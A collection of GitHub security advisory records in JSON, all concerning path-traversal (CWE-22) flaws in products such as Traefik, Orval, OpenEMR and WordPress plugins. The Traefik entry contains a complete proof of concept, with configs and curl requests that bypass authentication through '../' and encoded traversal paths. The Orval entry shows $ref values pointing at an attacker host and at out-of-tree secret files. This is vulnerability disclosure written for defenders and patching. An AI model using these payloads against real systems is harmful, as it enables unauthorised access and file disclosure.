CWE-22

{
  "affected": [],
  "aliases": [
    "CVE-2026-12089"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-13T03:16:19Z",
    "severity": "MODERATE"
  },
  "details": "The LWS Optimize \u2013 All-in-One Speed Booster \u0026 Cache Tools plugin for WordPress is vulnerable to Arbitrary File Read in versions up to, and including, 3.3.19. This is due to the combine_current_css() function  trusting \u003clink rel=\"stylesheet\" href=\"...\"\u003e values harvested from page HTML and converting same-site URLs to absolute filesystem paths before reading them with file_get_contents()/Minify\\CSS::add(), without enforcing that the resolved path stay within ABSPATH or have a .css extension. This makes it possible for authenticated attackers, with Editor-level access and above, to read arbitrary files.",
  "id": "GHSA-cx9x-fm2c-c65m",
  "modified": "2026-06-13T03:30:23Z",
  "published": "2026-06-13T03:30:23Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-12089"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/lws-optimize/tags/3.3.19/Classes/Front/LwsOptimizeCSSManager.php#L289"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/lws-optimize/tags/3.3.19/Classes/Front/LwsOptimizeCSSManager.php#L61"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/5cb80db2-753c-40fa-aee4-7d8c1749d037?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2007-2836"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2007-07-02T19:30:00Z",
    "severity": "MODERATE"
  },
  "details": "Directory traversal vulnerability in session.rb in Hiki 0.8.0 through 0.8.6 allows remote attackers to delete arbitrary files via directory traversal sequences in the session ID, which is matched against an insufficiently restrictive regular expression before it is used to construct a filename that is marked for deletion at logout.",
  "id": "GHSA-cxg5-jqhx-8cv4",
  "modified": "2022-05-01T18:07:40Z",
  "published": "2022-05-01T18:07:40Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2007-2836"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/35029"
    },
    {
      "type": "WEB",
      "url": "http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=430691"
    },
    {
      "type": "WEB",
      "url": "http://hikiwiki.org/en/advisory20070624.html"
    },
    {
      "type": "WEB",
      "url": "http://hikiwiki.org/hiki-0_8_6.patch"
    },
    {
      "type": "WEB",
      "url": "http://jvn.jp/jp/JVN%2305187780/index.html"
    },
    {
      "type": "WEB",
      "url": "http://osvdb.org/37469"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/25764"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/25874"
    },
    {
      "type": "WEB",
      "url": "http://www.debian.org/security/2007/dsa-1324"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/24603"
    },
    {
      "type": "WEB",
      "url": "http://www.vupen.com/english/advisories/2007/2304"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

{
  "affected": [],
  "aliases": [
    "CVE-2017-11658"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2017-07-26T15:29:00Z",
    "severity": "HIGH"
  },
  "details": "In the WP Rocket plugin 2.9.3 for WordPress, the Local File Inclusion mitigation technique is to trim traversal characters (..) -- however, this is insufficient to stop remote attacks and can be bypassed by using 0x00 bytes, as demonstrated by a .%00.../.%00.../ attack.",
  "id": "GHSA-cxgh-p94h-2c85",
  "modified": "2022-05-17T02:20:12Z",
  "published": "2022-05-17T02:20:12Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-11658"
    },
    {
      "type": "WEB",
      "url": "https://gist.github.com/Shinkurt/157dbb3767c9489f3d754f79b183a890"
    },
    {
      "type": "WEB",
      "url": "https://wp-rocket.me/changelog"
    },
    {
      "type": "WEB",
      "url": "https://wpvulndb.com/vulnerabilities/8872"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2023-22973"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-02-22T21:15:00Z",
    "severity": "HIGH"
  },
  "details": "A Local File Inclusion (LFI) vulnerability in interface/forms/LBF/new.php in OpenEMR \u003c 7.0.0 allows remote authenticated users to execute code via the formname parameter.",
  "id": "GHSA-cxh8-623x-rhrw",
  "modified": "2023-03-03T03:30:23Z",
  "published": "2023-02-22T21:30:38Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-22973"
    },
    {
      "type": "WEB",
      "url": "https://www.open-emr.org/wiki/index.php/OpenEMR_Patches#7.0.0_Patch_.2811.2F30.2F22.29"
    },
    {
      "type": "WEB",
      "url": "https://www.sonarsource.com/blog/openemr-remote-code-execution-in-your-healthcare-system"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.11.51"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/traefik/traefik/v2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.11.52"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.6.22"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/traefik/traefik/v3"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.6.23"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.7.6"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/traefik/traefik/v3"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.7.0"
            },
            {
              "fixed": "3.7.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/traefik/traefik"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "1.7.34"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-65600"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-06T16:51:10Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "## Summary\n\nThere is a critical authentication-bypass vulnerability in Traefik\u0027s `ReplacePathRegex` middleware. When it is configured with a regular expression that captures user-controlled path segments without a mandatory separator (for example `regex: \"^/api(.*)\"`, `replacement: \"/$1\"`), a crafted request can produce an un-normalized replacement path such as `/../admin`, which Traefik forwarded to the backend without validation. A backend that normalizes the path may resolve it to a protected route, letting an unauthenticated attacker reach resources located behind authentication middleware. This is the same class of issue that was fixed for `StripPrefix` in CVE-2026-48020; that post-replacement normalization check had not been applied to `ReplacePathRegex`. The fix rejects any request whose replaced path does not match its normalized form.\n\n## Patches\n\n- https://github.com/traefik/traefik/releases/tag/v2.11.52\n- https://github.com/traefik/traefik/releases/tag/v3.6.23\n- https://github.com/traefik/traefik/releases/tag/v3.7.7\n\n## For more information\n\nIf you have any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues).\n\n\u003cdetails\u003e\n\u003csummary\u003eOriginal Description\u003c/summary\u003e\n\n### Summary\nA path traversal vulnerability in the ReplacePathRegex middleware allows an unauthenticated remote attacker to bypass authentication middleware and access protected routes by sending a single crafted HTTP request. The vulnerability exists because ReplacePathRegex does not perform post-replacement path normalization validation - the same check added to StripPrefix in the fix for CVE-2026-48020 was not applied to ReplacePathRegex.\n\n\n### Details\nWhen ReplacePathRegex is configured with a regex that captures user-controlled path segments without a mandatory path separator (e.g., `regex: \"^/api(.*)\"`, `replacement: \"/$1\"`), an attacker can inject implicit traversal sequences into the capture group.\n\n**Root cause:** `pkg/middlewares/replacepathregex/replace_path_regex.go`, function `ServeHTTP` (lines 56-74). After the regex substitution produces a new path, the middleware forwards it to the backend without checking whether the path normalizes differently - unlike StripPrefix which rejects such paths with HTTP 400 after the CVE-2026-48020 fix.\n\n\n**Attack flow:**\n\n1. Attacker sends `GET /api../admin`\n2. `sanitizePath` passes it unchanged (`api..` is a valid segment name, not a dot-segment)\n3. Router matches `PathPrefix(/api)` \u2192 selects the public router (no auth middleware)\n4. ReplacePathRegex applies `^/api(.*)` \u2192 captures `../admin` \u2192 replacement produces `/../admin`\n5. No normalization check exists \u2192 path forwarded to backend as-is\n6. Backend framework (Express, Flask, Django, Spring, ASP.NET) normalizes `/../admin` to `/admin`\n7. Attacker receives protected content without authentication\n\n**Suggested fix:** Add the same JoinPath equality check after line 67:\n\n```go\nif cleanPath := req.URL.JoinPath(); cleanPath.Path != req.URL.Path {\n    http.Error(rw, http.StatusText(http.StatusBadRequest), http.StatusBadRequest)\n    return\n}\n```\n\n\n### PoC\n**Prerequisites:** Docker Engine 20.10+, Docker Compose v2, curl\n\n**1. Create `docker-compose.yml`:**\n\n```yaml\nservices:\n  traefik:\n    image: traefik:v3.7.6\n    command:\n      - \"--api.insecure=true\"\n      - \"--providers.file.filename=/etc/traefik/dynamic.yml\"\n      - \"--entrypoints.web.address=:80\"\n    ports:\n      - \"8080:8080\"\n      - \"80:80\"\n    volumes:\n      - ./dynamic.yml:/etc/traefik/dynamic.yml:ro\n    healthcheck:\n      test: [\"CMD\", \"traefik\", \"healthcheck\"]\n      interval: 5s\n      timeout: 3s\n      retries: 5\n  backend:\n    image: node:22-alpine\n    working_dir: /app\n    volumes:\n      - ./server.js:/app/server.js:ro\n    command: [\"node\", \"server.js\"]\n    healthcheck:\n      test: [\"CMD\", \"wget\", \"-qO-\", \"http://localhost:3000/health\"]\n      interval: 5s\n      timeout: 3s\n      retries: 5\n```\n\n**2. Create `dynamic.yml`:**\n\n```yaml\nhttp:\n  routers:\n    public-api:\n      rule: \"PathPrefix(`/api`)\"\n      entryPoints: [web]\n      middlewares: [rewrite-api]\n      service: backend-svc\n      priority: 1\n    protected-admin:\n      rule: \"PathPrefix(`/admin`)\"\n      entryPoints: [web]\n      middlewares: [auth]\n      service: backend-svc\n      priority: 2\n  middlewares:\n    rewrite-api:\n      replacePathRegex:\n        regex: \"^/api(.*)\"\n        replacement: \"/$1\"\n    auth:\n      basicAuth:\n        users:\n          - \"admin:$apr1$H6uskkkW$IgXLP6ewTrSuBkTrqE8wj/\"\n  services:\n    backend-svc:\n      loadBalancer:\n        servers:\n          - url: \"http://backend:3000\"\n```\n\n**3. Create `server.js`:**\n\n```javascript\nconst http = require(\u0027http\u0027);\nconst path = require(\u0027path\u0027);\nconst server = http.createServer((req, res) =\u003e {\n  const normalized = path.posix.normalize(req.url.split(\u0027?\u0027)[0]);\n  res.setHeader(\u0027Content-Type\u0027, \u0027text/plain\u0027);\n  if (normalized === \u0027/health\u0027) { res.writeHead(200); res.end(\u0027OK\\n\u0027); }\n  else if (normalized === \u0027/admin\u0027 || normalized.startsWith(\u0027/admin/\u0027)) {\n    res.writeHead(200); res.end(`ADMIN_SECRET_DATA (normalized=${normalized})\\n`);\n  } else { res.writeHead(200); res.end(`PUBLIC (normalized=${normalized})\\n`); }\n});\nserver.listen(3000);\n```\n\n**4. Run and exploit:**\n\n```bash\ndocker compose up -d \u0026\u0026 sleep 5\n\n# Confirm auth is enforced:\ncurl -s -o /dev/null -w \"%{http_code}\" http://localhost/admin\n# \u2192 401\n\n# Auth bypass:\ncurl -s http://localhost/api../admin\n# \u2192 ADMIN_SECRET_DATA (normalized=/admin)\n\n# URL-encoded variant:\ncurl -s http://localhost/api%2e%2e/admin\n# \u2192 ADMIN_SECRET_DATA (normalized=/admin)\n```\n\n**Configuration note:** The regex `^/api(.*)` (without slash separator before the capture group) is the exploitable pattern. This is the natural way to write a prefix-strip equivalent with ReplacePathRegex and is functionally identical to `StripPrefix(\"/api\")` for legitimate traffic. The pattern `^/api/(.*)` (with mandatory slash) is not exploitable - the same structural narrowing as CVE-2026-48020 where `StripPrefix(\"/api\")` was vulnerable but `StripPrefix(\"/api/\")` was not.\n\n\n### Impact\nAuthentication bypass. Any route protected by auth middleware on a separate router (BasicAuth, ForwardAuth, DigestAuth) can be accessed without credentials by an unauthenticated network attacker via a single HTTP request. Both read and write operations (GET/POST/PUT/DELETE) bypass authentication. The vulnerability affects deployments using ReplacePathRegex for prefix stripping - a common, documented configuration pattern.\n\n\u003c/details\u003e\n\n---",
  "id": "GHSA-cxjq-mrr5-89rv",
  "modified": "2026-08-06T16:51:10Z",
  "published": "2026-08-06T16:51:10Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/traefik/traefik/security/advisories/GHSA-cxjq-mrr5-89rv"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-65600"
    },
    {
      "type": "WEB",
      "url": "https://github.com/traefik/traefik/commit/3f10dd442479530560f010167cac2947676d9b29"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/traefik/traefik"
    },
    {
      "type": "WEB",
      "url": "https://github.com/traefik/traefik/releases/tag/v2.11.52"
    },
    {
      "type": "WEB",
      "url": "https://github.com/traefik/traefik/releases/tag/v3.6.23"
    },
    {
      "type": "WEB",
      "url": "https://github.com/traefik/traefik/releases/tag/v3.7.7"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/traefik-before-authentication-bypass-via-replacepathregex"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Traefik: Authentication Bypass via Path Traversal in ReplacePathRegex Middleware"
}

{
  "affected": [],
  "aliases": [
    "CVE-2008-0231"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2008-01-11T00:46:00Z",
    "severity": "HIGH"
  },
  "details": "Multiple directory traversal vulnerabilities in index.php in Tuned Studios (1) Subwoofer, (2) Freeze Theme, (3) Orange Cutout, (4) Lonely Maple, (5) Endless, (6) Classic Theme, and (7) Music Theme webpage templates allow remote attackers to include and execute arbitrary files via \"..\" sequences in the page parameter.  NOTE: this can be leveraged for remote file inclusion when running in some PHP 5 environments.",
  "id": "GHSA-cxmc-68cr-87h3",
  "modified": "2022-05-01T23:28:31Z",
  "published": "2022-05-01T23:28:31Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2008-0231"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/39555"
    },
    {
      "type": "WEB",
      "url": "https://www.exploit-db.com/exploits/4876"
    },
    {
      "type": "WEB",
      "url": "http://securityreason.com/securityalert/3532"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/archive/1/485991/100/0/threaded"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/27196"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "mcstatic"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "0.0.20"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2018-16482"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2020-06-16T21:33:14Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "A server directory traversal vulnerability was found on node module mcstatic \u003c=0.0.20 that would allow an attack to access sensitive information in the file system by appending slashes in the URL path.",
  "id": "GHSA-cxmj-qjv6-vx9p",
  "modified": "2023-09-12T20:46:15Z",
  "published": "2019-02-07T18:15:44Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-16482"
    },
    {
      "type": "WEB",
      "url": "https://hackerone.com/reports/330285"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-cxmj-qjv6-vx9p"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "mcstatic directory traversal vulnerability"
}

{
  "affected": [],
  "aliases": [
    "CVE-2025-20259"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-06-04T17:15:26Z",
    "severity": "MODERATE"
  },
  "details": "Multiple vulnerabilities in the update process of Cisco ThousandEyes Endpoint Agent for Windows could allow an authenticated, local attacker to delete arbitrary files on an affected device.\n\nThese vulnerabilities are due to improper access controls on files that are in the local file system. An attacker could exploit these vulnerabilities by using a symbolic link to perform an agent upgrade that redirects the delete operation of any protected file. A successful exploit could allow the attacker to delete arbitrary files from the file system of the affected device.",
  "id": "GHSA-cxp3-3gvr-5g69",
  "modified": "2025-06-04T18:30:58Z",
  "published": "2025-06-04T18:30:58Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-20259"
    },
    {
      "type": "WEB",
      "url": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-te-endagent-filewrt-zNcDqNRJ"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2007-4062"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2007-07-30T17:30:00Z",
    "severity": "HIGH"
  },
  "details": "The SCANCTRL.ScanCtrlCtrl.1 ActiveX control in scan.dll in Nessus Vulnerability Scanner 3.0.6 allows remote attackers to delete arbitrary files via unspecified vectors involving the deleteNessusRC method, probably a directory traversal vulnerability.",
  "id": "GHSA-cxp3-m897-wfvf",
  "modified": "2025-04-09T03:44:33Z",
  "published": "2022-05-01T18:19:52Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2007-4062"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/35641"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/26243"
    },
    {
      "type": "WEB",
      "url": "http://www.nessus.org/news"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/25088"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "orval"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "8.22.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-62680"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22",
      "CWE-829",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-02T14:54:48Z",
    "nvd_published_at": "2026-08-19T18:16:54Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nOrval resolves OpenAPI `$ref`s by fetching remote `http(s)` URLs and reading local files (including\nabsolute / out-of-tree paths), inlining the referenced schema into the generated client. Running\n`orval` on a spec whose `$ref` points at an attacker/internal URL or an arbitrary local file yields\nSSRF, remote file inclusion, and local file inclusion. Verified on 8.19.0. This is a different class\nfrom Orval\u0027s published output-injection CVEs (CVE-2026-22785/23947/24132/25141), none of which covers\nthe `$ref` resolver.\n\n### Details\n\n- `$ref: http://attacker/internal-evil.json#/...` \u2192 build host fetches (SSRF) and inlines the remote\n  schema (RFI); confirmed property `REMOTE_ORVAL_PROP` in the generated client.\n- `$ref: /abs/path.json#/...` or `../../secret.json#/...` \u2192 out-of-tree local file read + inlined (LFI).\n\nNo RCE: on 8.19.0 the description JSDoc is escaped (`*/`-\u003e`*\\/`, the published fix), so `$ref` content\ncannot break out into code. The chain stops at SSRF + RFI + LFI.\n\nFix: don\u0027t resolve remote `$ref`s by default (opt-in + host allowlist); confine local `$ref`\nresolution to the input directory tree (reject absolute paths and `../` escapes).\n\n### PoC\n\n`reproduce.sh` attached: confirms LFI (out-of-tree read), SSRF (listener hit), RFI (remote schema\ninlined). Verified on Orval 8.19.0.\n\n### Impact\n\nBuild-time SSRF from the developer or CI host, disclosure of arbitrary local files, and inclusion of untrusted remote content, from running the generator on an attacker-controlled or attacker-influenced OpenAPI description. No code execution (output escaping is in place post the earlier fixes).",
  "id": "GHSA-cxq5-97v7-87j8",
  "modified": "2026-09-02T14:54:49Z",
  "published": "2026-09-02T14:54:48Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/orval-labs/orval/security/advisories/GHSA-cxq5-97v7-87j8"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-62680"
    },
    {
      "type": "WEB",
      "url": "https://github.com/orval-labs/orval/pull/3692"
    },
    {
      "type": "WEB",
      "url": "https://github.com/orval-labs/orval/pull/3723"
    },
    {
      "type": "WEB",
      "url": "https://github.com/orval-labs/orval/commit/23786c056f4eba38c02bf2968677988dbbe4de10"
    },
    {
      "type": "WEB",
      "url": "https://github.com/orval-labs/orval/commit/8ef1bfdf3f9bcaf9dabfbe2e42887f1c0e159ab6"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/orval-labs/orval"
    },
    {
      "type": "WEB",
      "url": "https://github.com/orval-labs/orval/releases/tag/v8.22.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Orval: Generation-time SSRF + remote/local file inclusion via unrestricted $ref"
}